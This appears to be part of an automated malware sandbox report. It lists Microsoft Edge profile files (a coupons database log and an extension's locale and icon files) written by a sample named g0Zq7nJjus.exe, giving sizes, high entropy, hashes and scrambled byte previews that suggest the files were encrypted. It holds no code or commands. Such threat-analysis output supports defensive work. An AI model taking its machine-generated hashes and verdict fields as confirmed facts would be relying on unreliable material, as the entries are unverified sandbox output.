C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.340068218910116
Encrypted:	false
SSDEEP:	6:iu6gd0m+c3vWhXb1gKkSd5xwJaXPgEugGIXBoL70Y1h6x1veM0yCkinIS1WdNciD:F6gbjeXb1gKkSN2kPdXeLZnOkMbJzSUn
MD5:	26C6547E544C200D936741C396CA34FD
SHA1:	202DFB03644A33514D1BC314BDA27DCA34401D30
SHA-256:	A05332DC5BACF5EE38B501FCD23B3EE11BDDB438F9B03BBD89C737A58706C50D
SHA-512:	2F58963A4B39243B29B50EFE4C40C1B2F17EF773D18FA548103875E5E5ACD2C12BBE4A3A3C2782834B5B0A1904299A6E936F67B5597986642B082625B79FFCA7
Malicious:	false
Preview:	...m...86!g ..e.......3?.....F9{.a..b.r(9X...\| e..H..>.....r:J.!..a....a$..>.R?p.xf...........6....4[.=:P"MJ.QV...".8F\v.mv...Wd..o7....+4...e.pv;..Y..g.1.S.Dn8.7.e.4....D...j..,..)..H.../*..n..b..Z...._......T............;....O...t.i ..."Q] bB}.gxfW..9....K...VBSD..n..B.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	686
Entropy (8bit):	7.688910237826202
Encrypted:	false
SSDEEP:	12:k18b3ucha0iDaug0LNE/C4XOdlil5C4FDKDaBd0SkXpBm9vsjwkH638obpsSUdNX:An0WC7XO7f4FDKDaBdWC9EjwkH6pF2bD
MD5:	04F038E9AC29D5643BD78972D5EDA19D
SHA1:	E0CC2DFC9744834B7079AEF17A7DBC7CB540369D
SHA-256:	F29A69DEAE6912F2122C20AC2A9FC980E8A1E79EB64EBC5086AC6D2164C83538
SHA-512:	0E0140440FD5C4A9C5D8D85D312B88501519773C23F9E00FCE74351BC98C7A451F6C983C7DA271C8FDEFC79EBB839163837D41A931CED0BA85FC0F8FBFBA89C4
Malicious:	false
Preview:	2023/QH.T$.n.^<Hu..n6.O.@N...gO3y+......P..S.VA._.p.,..>1b.2..+.c.......S.@...S....R...<.. `o..6.\|....K4........T..,.1.O........r...ZL{..._.}...r....o.#..Y..@o.ujs...}..<...;Z6....7.n.9U.....X.....~.%.<..+....q.......gM....py.....-...o..yNM..fIj,.C....x.5.4......7p.\|Y...9......JUGc.N...v..\|..5.A[..6j.R....@.&..co..?....H.(...e^.....4r.%.y....g..5.z..."`....~....A..Q.}.......}\|M.....>G4....?-...@I.T.....Q..\'#.D..+j.l..2..H.\|3.#..r...\|.9.-d......+A....w....dt.........z.>..!.I...v8kkc..u..z.G..;.o.W...(./.v...S..>...-.x.....{..&.......tD.hl.Wi.Z....\|....v:.}._.E...Q...Xg..).,..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.965594639895034
Encrypted:	false
SSDEEP:	96:OI+J5AbbGEHxbYsqAkSdZ/R8vl6g1YovHXPnTEcmNW1vYAE:OAbGEes/Zp06g1PIc4WtxE
MD5:	6198D7244448F983944277BF9F1E41A2
SHA1:	6EFDB16D45AFED2751D1A8FEA8C0B3402307B107
SHA-256:	BD98158B4D5F1E815ECC2F6B7E5E79DD5CFD6D541741C33FA3B888E565FA1FA9
SHA-512:	4C5B06884E80A2C4411618A73CFD4EDD672B9F38BCB1B185F34686A723382DE46C75C640ECA6829D7745D52D400B5DA10B7093A1DABC9FEDDAADC6CB3C1471DB
Malicious:	false
Preview:	.PNG.CW..6...4....L.....r......@.&j.8...,.......dYjF.....4..}.....Scc]5^..R...J.8...P*..b'.=..\U...+..tZ\|..N....Qy.....;..<2.....X.L..@.o=)...d.....m...mv..L:.<`4..q1>f.<_..,....\|..&dh..n....S.p.\|_.f.)."JOs..SVA..U.."....o.{.m..Z"\|.MT.R...b.<...S3.....Q.c.D..&d..l..q...P.....G.1.. .^...9B0..p(....d .O.4)p...6...[..=w.'u=...:.$.r.I.0L.y....o.<....S.-Z.(L....8....(x.Q..J(e../...;.5{{.....7E....31U.l>?U..Xpc..l.o..O..`.cd..:..-n.'..`...C..\|2.Y0\|....5..8.....=......'+>Yw)..,..Y'.N....^.A.........CV...#....`..ON.......9- .y.X....3..............$E..[q.6....2mi...=ib...gxR.R...-5..iP....=.e...L..3aWK<.)..$...s.m.n...Z..... ...DF=....;...;;.7..W...........\|Gv....FV...t[A.q...!..\|v..9.$+u.E..G..$..j.z..+....'T...y..Io.].Mvr.....z..Z..Qt..!.a....K<..~.Q..$...4@.(...A.........#3.3M...[..ZI0....h.}....(.5.5K_..W.s........j..3.>.\Td..........{P.w.6O..5:.@..]~7.6..J..U.Z.qN.....<..(.L.z)Y8........-.`....(bz..L.P./L].H.....,4.R..6.\|.~....U.d..s...p.mfp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	7.835673728341709
Encrypted:	false
SSDEEP:	24:Y+AhIh3QGNyx8g+DHEK7zvPs4GoRLlDkqhv++eMsO8e8Rppb7Ijq1KBv42bD:Y+AwQGNyxYDr7zvP4oRZj5fX/8BqzjD
MD5:	2CD8CD043B8F6304C4C4F895980F5D6B
SHA1:	6862977CC873EAC2391A1D419757DECB6E1B3FA3
SHA-256:	3A6CF26480C9B21F1306B3E6900A5455FDF462AF48CF456D8FC1ED9CCF662559
SHA-512:	42E03CFB664B9D695CB88164A769389CD3163C83B10163004E904E29C6014698F77C32AA68C1A2EE8D32AFF036419BEE15C377ECAE672AA8638B47872905C712
Malicious:	false
Preview:	{"cre;.<)!...6.&...z.i.\. .>..%.....5.t.....~.....!...v..4.0.9Y.....cNf.)6.v....... ...)\|......)8.go.zt..ai.K...qRGj./.^cjn.F.q63.f.w.D...O..EdU...;T.R{...^.V..[S..+..T}..0'F.\|.v.V..Y../...7.........g.W.\~..E..J%........v@....@.].>..!...!...f"..3.%.m..b>D..]..4te.<.s.J.G.,...Lf."....S.Wf...<...9!.Z...FeN...p....C.<.H.cH.....U=.8.\|k\|.v(A..W.....:.....!XK@..A.......bZ.\|..S....s.H.7cj..GD...f...x..k.+K.e..o.#...h..1.E%..4..^0.....,z...Z..n....dR.@?!R...I&g..c.9.?.E...X{..N.Q\.=...N....#.}....XA.@..FJ.T..D?6..Xc+D.....h.&e06(.2Vv"..:Q..L..V.Q9[..2.X.(.....!..K...W....:..v.....F....&...a..zi......i.6....S.o_0.3,.)........`.i...........rm..Z.........<...V..OU.++...yI9....u...#.I.1u...]...v$6q.q.T.....x..9=.....j..V{...w..b...n98.=y.s.6......[q.L.T.{.i..L...0e&..V..+R...E...i3..AS._B..SK.Ju.H.9W._.........n.N...]...t.R..[J$...x..5l..T<8k...m.1...4.!....,.#....k..bQ-..4]+.......qMu...j{......8..r...yV..s.(...%.U.9}./..Ze.., 6Gw....S.[^.....jD.[.....8.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\it\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.820102498361019
Encrypted:	false
SSDEEP:	24:B/iQtYU+LOYU0ixEKl7MlYOZkWQZj+zxwjOBn0OT2bD:bYU+LOYU0i6KwYO+l+zxwjOJfAD
MD5:	4CEF598C92E2664F3F4BDAD6FB4EE462
SHA1:	11C47E67109C24CA69EDD12E47BD3C04A1272E7B
SHA-256:	FCE00C69B1F2B6D6A353E0F3FF7E8AE36429F8F47E1C1B4D5A5A2013E6D5F2B1
SHA-512:	0A189B05866EE1624C083BC9E0033919C17A86C682E29AF90AE29335EF9DC5918B9C0AE1D6A39A2AD7C47DDDEF645821A1BA40257E2928C329915E44E7CFA66C
Malicious:	false
Preview:	{.. .i.Z.?.x.K0.Q.s.9\|.E..K.{.....]h...~?.......Z.i.M...,;..N.;.../..w........A....GR..........g.".}..._k.~...........p`.2./I..#............^`r..3.G. ..h.F..`.`....&.._'.U8SM&..@-..a<"\|..aK....Tpq.U....Q.X...n.......x....J...r.$.........>%.k.N;v.1M....!:...S.(....B."4......!rM.}...aV...G...._..............\..<x..Z.@.V....Z.+\|H.Jr....~a.$b.1...(........tE". ..u.....k>...d4A\|B.-.#\|6.i.3=.?..r...L.b!;^....8 ...${L..[..'Lv%..d......j..H.OhQ.I/..Jc.... 3.O...f...~G....1@1.;.f...X-zD...y.O.7....c].'.w.P....5.JZ.O..k}cP...6...2.~....d....J.."....Zm\..y^<........&AR\|y..*..T..(.:\.....9a..57^..f..A.X..}.Nt.....{......)k..Fd.p...AhO......W=mYI.GQ.iv.......Hd&..A.....l(=..N....tK..+.N.......H.?q..s...]..x...F..rO..,.K.?Pj...lr...5....3......V>............8..!........=8[.... t..6.u....}.......c....K.6../.'..X1VUa...z.-z.F....J._.ttTV..[,w..q.t^.=qw6...ay.~..Ma. .I..........i...G.....-.........Z^...i.a3..lg.J^:.c..a.s..,..u..K.R....=U.UKN.hMY..g.`

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2564
Entropy (8bit):	7.911988816692361
Encrypted:	false
SSDEEP:	48:Y8AGQITVoMtum4ZIrBceUdXJP9I7VClYNrareAer+PTWsoD:MGQpuuZI9UdXJP9uTNrark+is0
MD5:	5A6FDFC9312CA20A8F32DB6F8F89C9EC
SHA1:	F0D235C5521A1B1C6AEACCB6629655F79575EEFB
SHA-256:	1579FAFED3DAD2706402A27CA80C5201DDB4467EE34451A925B17E64FE489219
SHA-512:	20F39F6187B256EAF495105585B6CFAB3D94982F1FC3D28E0E929FF22FD5116E209847F92B984AAF0430A7359B7AFD0F1D135675D55E20BBBD38A56C68584BF7
Malicious:	false
Preview:	{"creO5a?.g.j$t..zw..j..M..<.4.{.h%>,@l@2..)T....Jf!.i....1H.8...VS&.>h.^v..."..eD.yw..YQC.........k..".....1...5..T.i..hBlcW..t<..LX.R_.........:GrB.$.o...u.}..x.k..r.~.,......Ah.V...=.q...Yf.@.S.k"on..................<..vR....!.<\|.z.........).a....6..-....I.GxhO.....F.U....i.........h.7....ID...... .rgh{.G.L2u..e.%..-..\j....6 ....L.H.}...g.j5v.OT'K...p..S ._'@..T.,.V..d."..&..1SQ[...........b\|5m....c..PG>......;.X.?....AQQ...Y....f.@....8..._.....'.a...jX......Qd....9....8.5..1m.....{...F.y....^.t......Z.[7)3..s.T..J....k.=.9..`m?D.......{.Re.p..5..P3 .W/.}..#L8.N..Um........)qj\.W......<(V.62....G]p.&.s...8.+u3.'vV..ZM...k............K..%.k{K........).Z....\W.yi..{...b....j....y...VD..Q...2.>.V1.....o.L...d....%..5..Q.....$.UZ.,.......a..2k:.....dRxZ.{...\.J...r.9.8G..\.L..6...........\....?....&>..V.).gsawg>.5...h.\&..j2..;...HcE.}R'.>`.A`6.T.^jT."...tk:..Z@......w_.:.\|....-...K...\...J5..}9.e.>0G.hQ..`.....8....v.l.....f.6<tk2\U

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1494
Entropy (8bit):	7.858509241733832
Encrypted:	false
SSDEEP:	24:46oqvNrtN36xlTFwETWikzL+yU8B+UNGhiCZU+c95uOprT2bD:XVdKTYzL+F8BZgvdifAD
MD5:	9DC78D2BC8B2C4C5FDA4F6EA87015476
SHA1:	4B21EF3D63397B6CD967B296451C3D20FCE5DBF1
SHA-256:	458F6B66642249396EF617EB7E1902077022BD7FD52047AF65D593CE5CDFC64D
SHA-512:	09EDA67C987FA595710C7B611D01698886601A84688AE6EA77EEF20EDB386FD6346BF90DEC032A6CA11C1E62F552E6BFA53DC8CC58C33BFA9B38DBC9DF24A7A0
Malicious:	false
Preview:	{.. .-.U..I.QV O...u;........Xo....U..B.apg2R.{.!..3.(qc.O.@E....'.a2$>.m.CV.^.:....#..Z......".6......97..f....Er.?.!....bC)A......,.vSK..L(.?K...u.k.@.....Z.B.6,.Q.k.U...\....P../p....!.E:...S-.......'......m.Z....u:.d.....I..bk.H....QUc...q?.b9.....i..E....bE..g..StO.&'.Q.otM...U.....w.....Ug..i.h..6.k......5.........M.....m..x..&;.o3xc. d..."....<N..,D......%uT..v.`.a~...61....xs.:J..j...S..e..<...E.H.s..1/..v.b\....o.'.M.>?,<..e..\|..$.@..(zpG.T.z..z...r..b..X.h..)..A..c.......\|..I..@[U...e.S...2...\|....C..1tL......P.aN.n..0.3.......v..o7....].......X..8..j.<=.=.Co,.r.L.."!U...l.!$...Pp.^-s?....*...Z5.....n...Lj_).r............w.N..1......h.Z....w..Re......T.,S..S.h7A.m..o...J....k...Y.z.MZz~YU..6...ww.C../?.......1......%.......8.....p(..}.\.6.[O9"...Mz1G_..3.FyN-..I.xX..b.]Rz...U.y?.."H...M`.tw%.p-~...pC...k.d..\..>..1....p..(.t'.c..R...8...}0.v...7...n...4H...n.T>../p @.O..Y....;x..j41..N....m....R.7...U...xx....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3598
Entropy (8bit):	7.947361765803703
Encrypted:	false
SSDEEP:	96:naFfzNWrz+NkEP2I0NqyP3YZ3PLKEz/9IvV9CP18:nybgrzFEPmF3izKv99CP18
MD5:	6914825AC648DA964599B1EDFB13E916
SHA1:	AD584EDFD4AEDD13AE28A749162D36096DA7F3EC
SHA-256:	EE34923143D4CA0B1BDBD9E1F07452A53608717C51D6096BD43E14FC38565933
SHA-512:	20B0AD0251AAD6119DBC97B5813AB2C1B0B3F228FD9F7F46098D9F6AAF0E3FD536C202D6A32428353E21020C78ADAA68AAC5830132B8FF36C984EDF50968DFC8
Malicious:	false
Preview:	{"cre.G.W-.....R...0k.".\.H...-Q.\f.../.F.P...v.(b..].....6(.....b....q\|]..z....I/....zD.........q..4..y..s..,.....BJ...ss....,.4..1..p#.>n....=u.V.. .e.z.;b.......{.p.......Z.S.\|s,J ..z.BjM.#u...Fa.-..LS7..flgd.<........zZ.{ ..{;...b......4...D@.86 p......ngH.C.0.9..\W.y;....B.yj.P..QD...#g.F#`F.3...t.i..'..Z....R.X...+<...<..6AL....2WV...&........4...he.#..#.UJ..2\|...8]....TPJUcP.n8Lo. ..v..J..OD....x.$.5:..<.Y.:..XK...i..-...p..8.N@$x........H^.....G..mq...:...G....Qp $.^..T...:eB..B3BBd.Z.q[..v.Cq,C.Dk..6/y..=..g.t...."UX\|/.....l..t.S.@.g[.Q..=..6yI....83..T.in..>..@).r.m.H...{.hY.m........!.......d.f.Ge...OE.N.E..Oh..V......".......?..;........;(@.V.&@y..p......#...8.h.\|K.$.T{W.n......mt......._...p.(f.8>.....)...!..AwXT.....).Z..b...l<...N#k_.8.F...Y...^#3....4F..Rau..qL)m...../g.H../.M..O.K....B...%....v..<...e.BL....[..._.s.B4......'}...L..1....s#....5..).....$d..kz.D`....W..dy.V/.d.8D_........1%R:.?...b.YI05....J....6do...."~....un....&...[.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kk\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3569
Entropy (8bit):	7.949677465505411
Encrypted:	false
SSDEEP:	96:4zfLGewiXR8tUQRkcg/wO3xk3Vy7AIOEfYmQ:AfLjXRSUQG/DxoysIimQ
MD5:	B7D9B25706F1B2BA854ECE2EC6CF1C07
SHA1:	5994E78F6E94A711DFCFF984EB14AD895E65B4B5
SHA-256:	8CCF0B9AF6D7F59A20C81D734FDF0072F4A3A619D2BB81B7389C1CEA7B5A01E5
SHA-512:	62964F92D1D0DBD987FD8D5162AD5D78ABF8D7CF6E92873C0C3CAB30E42CB79EDD0CE96AF4F011199F89098AE83A2B334056390ABD595AE8E6A332AA9C074EB7
Malicious:	false
Preview:	{"cre.:t.$8...>.0.X...l..k.p.B......z....\s.....O....fKU..P...../...w({Y].J.&5@..~v..P..L..r.2.0...%n..Z.v..D82.....E[U.i..../nL..''..P...ZK+.Dg..=.#.T...x..K..z....A...E...!y..b.l)..p.:..~+..E\.....h.NU.....W...H...................2.?\Y..-......Y....C.Hn.>..........k.D..(.../x...]....2.<m...X.v.6....mV..7ec...uG....1.t.............V.....1.Z.......5..6.V......8.}.j...1...3...6G.q..O..aG..6.O.c6.'........Q.z]...6(h.b...M...G...G._.+l>.../M>.I.#....^`...0.:...HC.#^eW..d,....1a.r.l.?.......b....}...;."<U.+..............B.{.oe.R.Yw.`.......]....Fz...yd.pQ0.,...5..`..:.'.>.h....]))B./v\|.z...R..x..\.......c..~..a...i.....6.......X....S..1l?.D.K..n..........'.x.ZV^.%.e.w...y..-.C..:..s.EhE..jm.E..........l...s...!N...=\...7...[..N.qP./;.5...2...?.=..QeR...'/lp........T3...E....!....Rp[..:.....4....?...p...............Q..5.b&..F.T.Jm&.G%,"C.WV..Qn...5...5..N8.d..R.".^:..H.....7c....e..%f....G..+7..;.\...9...*+5....$.[icaU..o...Yf.XB.1-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\km\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3456
Entropy (8bit):	7.945723712767436
Encrypted:	false
SSDEEP:	96:N9vLYpb3OUxp6GOdbJRJYPcUZKcUsPEjf:PvUx8lJUnU0ef
MD5:	B2D85E8605FAF634D23E99948EB68550
SHA1:	F9E62B96066990570742D42A6883B25E46C38632
SHA-256:	E7726336FBAD44EB45F237D33324B3827D93FE83620819B4C6A82AF5B3695A49
SHA-512:	0CB80C64C0F4A3361E31026E18A6E3A41903BFF5018A1C3A8E18CFFDE2958AC008E3FF76B8023691A16E345CB5BC31679BEB98E5A70567F56CB4F274EEBF7361
Malicious:	false
Preview:	{"cre0...N.;....I...3:...4..(N...=.I.S~.(....X...H-.wnf...:Q.d...cD.aZ..7Md.B..t...h.S..I..re..rz...x..YV...J7r<.-..\..j.B.B.......U...'..]..Z.........Q.v.c...Ri#z2W.z......m:....V.7.i.t.5..t...2.......a.a^.......G......._.....x);......~..L`.....[._Q..Z..o.):.o..q ......U.@7N\K..0.n...[m..h-.jW..-xs.!.9..V>.E..J..."....FrR.Y~.c..[<..}...^"Y...}..#c.O........e5.!.....#..i..9.c...EX\|..=r.H.H-`#.to...f.,N9\|.....F...%...g..s.:.n.....(+!=.2......U..... .gS.)...f..+./.$.Aa...3I._c......+......6:x]..........!.vS...!...x....mfI.Zl....A$I...e.u............,D@.~..I...t.Y.....k..`.h..+.."k.\....~.!X....+......:.oV...h.b...).....-.zC..>.....zQ.:...]4.uyy...qr...m.8...6...o.a6.#...po......]t.J.H_...Te..).o.qt.>....'.jR.c#.p.7{..@..s......3F.C_.fzR-qL.M..)d..\.F.C.D...o2....dk.Q... ...o.f...Ij.....K.....?.........\|^....*.>.Ha0S.',z.....y...Z.#P..}.........C...j}......:..K6h..'.f.00N.%$.2.....-#m......4.@..8.;e..3....f}......u....Qj.@..V.}/..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kn\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2214
Entropy (8bit):	7.914457809329622
Encrypted:	false
SSDEEP:	48:NwJlmBwvnObgWv8AiluvtHrC5/x1i/aY0Y/3TB/M8D:Ul//eRuAhk/1YffTB/z
MD5:	9A2D62EC41E247EB586D5834F068747B
SHA1:	300A8101233B9CF3C28BD240766FC86869195A00
SHA-256:	AF3501DF42B4797A70484F257C323A4EF2D8D2F22AB598556745C16E50C78921
SHA-512:	4C8C6E56A908B7F7C6A8434BE68D13C33A9830700C523FEF501282ECB65C52E6926F813C452A746C4640F1D67F014F8EF6EDC8F914CF9520EB366083C3708AC2
Malicious:	false
Preview:	{.. .t..d.<.,.H.. ...=6..S......CO2...[VwS.~.r..7P..:....1S..bt.9.a.Rx..y.B.'l.".xS=#a(.....H.7....2..FF?#.,CF...s..b`Y......n7.]2.s)....H{.n~Xz.r.E.?/u?."\|...0_.D...m..,x....qt....p..-bD..X...{..${.,d.p T..M.....-.B........~..I.x..............w9.p.jN..u.#q....L&z.}..}...L]{.9.......\|.....bq.......{......h)^..hJ............!.(....T.v.h.K.../,....F.q..;j.+...oSV+."..?.l......m......_U.IED.)..3........~O.g,.>y...D>.b+i{L.#U......4.5.Ezz....n..kt........r.i0-..tC.m-..2..A"B.[.w....P.i.9.Ix...jKo.....O7......@5..9.?HfZ~l....W...l.qC......V..`.... .2h- N.C.N...N....@..../..%=E.o8\|\o.3N.9...;..R)&.^.....@.?..J.`..8...._.\|.........8.dX$'.n..0.<..o...&....3.1.....pl.".8.wt.`Cq....K..'..<.!..uY.>....O. ).....mr.g..Q.Q....o.7'C..........D.qpw.....00.8..F..+b>...].KM..t.a...$n.....%......}....{.h."..jz.2.,..jrc...gP.......F...!W.[.L....`.%Jl>.[.o...[dh m....#........0..3..6..~.&D{l.*.....$N.....s..T+........@.q.5?.{.I_...a......Zfy_.6.....Sq.P 5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ko\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.840282829110649
Encrypted:	false
SSDEEP:	24:ZcXd6Q30yqw9LWs6hfQBoUJmxhReIw7SKLIhFKVdFXJPL+0J/Ph22bD:ZcXd6NyZL/Af0oUJ+AIwmSIhFKVHZCmb
MD5:	61CB8D4EE56AA6673350C5E3C7B9231E
SHA1:	04824C539811EEB3D1384C8317450610D9EF3FC4
SHA-256:	B4C3126111FD997C5F92ABA1AE19868A85516CA822986F9C9A4063E678F1707F
SHA-512:	253B40E981B430CE0DE9B13B2B2D3E3FEFA12428B2BD1BF94488DC2FC29ED69C05F266160892EF14B70DB3CA09A76255570A7BBC4476AE95203F4FB405D02ED0
Malicious:	false
Preview:	{.. ..k.....U.>..F...N.E{yV....R.......1.... ....@.....v..n...y$...Z.zV.Y/.P...5..p...w.T.U...N......;.-..<j...G.....C..$.lg.~.$..F<2d+..[.10..M._.....+I\|.....,D7.v.[./..jB;...9f...9Q....hz....._..:[.m..........0...)....qjy.z..m...y8....'..t.m.G......!.."<r.o..A.b...}.\.{(v.t.\..c.n......~.....G......n...X......Ve....".....q.......r!...I+.>5...4'...4..\..i......d.8.."..s[..<....t.....\|.q...l;.`.........q..R%co'.b(P^.w.\|P..x.@.....R..(._j<yl..(.@..\|X.k.7........9.......c..sLl=.W.O......n..\|.<...{..3.&-.O3......Y...4.1...1.?.B#...uZ.1.-...\F.r.u..rJ...%V.'..{d...RL...?#....E...ip......G...8..P.@i..l.R.s...U!..yqR%9...{..W.....&.HO.;.l3..X...B.."X..Ju..#BPO...7..".<...U....j.m$.c4.%..=4e.....2ik.>.6....t(.x&.#B...."wbV.r-..48x..%.`7...7...d)....a.N.\|*....C-F....D....@T]......O...`9./.82..C..Ke.&...1>.9{1._-.c..m...S.r......=......<..%...#y..\|.Z(1...s)J[....K.r......&7.;FD...8.<.......<...x8......i.J...L7Y?...w....pK5..$..w.d&....N.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lo\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2869
Entropy (8bit):	7.937530926587406
Encrypted:	false
SSDEEP:	48:Ya0vRv097hQDoMEk5Yeb0ONNhxt6BBW3jVFnWHm/rtV4AFIpTe9xG674fnD:qv0nQMMhYSXNhjiBeZFWsrtGA0eDF74b
MD5:	DD6D4E86F80CDC79BE632A427C8C7FC6
SHA1:	D51A60EB11C61D3277BD7512AC62C249F9CA4537
SHA-256:	A40482FF7E4D9E1004F6ADEDB40F7C265A1EC5D4B8FDEC88AB037012FF36DDCE
SHA-512:	5E72BEC4C95AED3A79B316DCE3DAD46D2BF30805B7C692AEB4857E6E20487244D6C867743D04071242A1E742DBB4B61E003B6F298B58F8A8C006A4C0635DE90A
Malicious:	false
Preview:	{"cre..../Wj.R.&....Ah(.."%N...T..f.f=i..{.......q<..v)-....O.%..+\..N..3xG.:x.r.,....9...$...F}.?..T.....(5Q..uT.r..d.F..l.>.....1.l......bH.Nk!3.$.Bg}W..wF.6d..g.X${.&.k.Js]......R....(.R.....R...F.ei?#...al.q)."&vE...^sk9._.{...C.M..S(.....j.t..2Ld`f..F...ICW'j.R..J}-..i.}..j./8..,0...]..7.#_m..o...@A\|.AjW.......$...B1m.......{}B....[.....-...M*..P....x`'...I.5.5....{..../...H#...P.6..`B..^._.F..f68...d....0c3x.^...X4XSQ.....l..U......+.^"..L+.z....9..;n-t...$......+..-..?....QZ"....6.q.wJ.]...iz.q'.+..D.... .t....T.\|.2..%:.;....LU.l.{..s....+..Q.....Z..r....u...X...C.......ip.....v.g..>?.TR..}V5j...X\|..H..d....n...A....A_....2.W...^C.w.}.....).q.,.MNr.N.;.q$.b.._...^,.....S...S&..@.f5.........C..pm..o~.o.'.`u$\|.?[.1.=...9\|9.K..B.-.)....~...%c.7.M.@:....Q}1}...o....i.(v........}.../...o...C,.'qe.j>0......}e.....%.4...7"oE7.'.....H.V.(0O..M..e.f.>....5..6..Ll..Ls.........s2.[.2.a.~.Q....?M.u.v...}Cy..[-..(..od{........o"...-.!.[..i..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	7.863042197485328
Encrypted:	false
SSDEEP:	24:tRCDHOVaogg709GiMSyjBg7DXi9u4gIz8JoZKosPNmBVohUITX27WoMQ+67WV12X:tR+HOVWToyXeTCqsFmBzwmPM7VOD
MD5:	DF803277E2736472670B93F4632F44F3
SHA1:	7813583408D31A95BA31BA96852A58629D4374C0
SHA-256:	5B24FEDE6D8E194F611CBF40BF50C9652AD909B308B51A3B6E23392ECFD644EB
SHA-512:	53343234E9E8D625A6486205483FD025FAFCA913BEA0547758AD9D910C237995281A0A0FAB3E57A92096289E18CA6B7132353550D75611123E00382E2C72540C
Malicious:	false
Preview:	{.. 8)J.{..k.A.q.5.8...W.L.-~...]..u&...p..g...3.p.!..:...JC...f..f.J4..}+.Q..5.~..pvp...kR..tF..oP...f..O.7.[...9..w..=..5=.7../.4..}..Y...W..Ts0f... J.}#.o.s....r.P..'...l........'.B...XZ.e..,.!)M.....3........3.g.o.2<..)......wT...~.hV.T....>".F...42v.S......G.....(........A.1.O..H...g<.W..#d.#..T>K3^..l..E..#w."..a...2@............wR...`D$+.;...r ......c....4j.\|@..M....r.gp-?..../...+...i#..In...aG.q.eGJ.=.......B6iX..&#.R ......M8J.c?.xN...<..m.P.J.F.s-.,U......Z..F.r..t'(X8}...j..J....$.....h...I%.........s<X.Tq.q.....^..W....s<A.w.0..7_m..c......n.m.\........".O.8.L.D.=....i..J.5....'..uxE.......E'.*.....i...'.u.....L.X."-3mi)U.?.a.xj%>.b...-B.y`.....m...4CE.d\|...v../..3H.q(a...<.d....o....<..B..5Rl.H$.UK...yr..#..\|K..4......I..7.x...cS..?z......%..R..#..[\|.`...V..$.W...Y..K.jq.....7..I....V..Y..e+2.m..........L........g.,.c/.\|c...H.6.i.......`..K.3$.MY..i..i0..........-....rS..ir........9..Y..Y4.;cs6.ZU..5.#zH.7.?V..u...p.....B

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
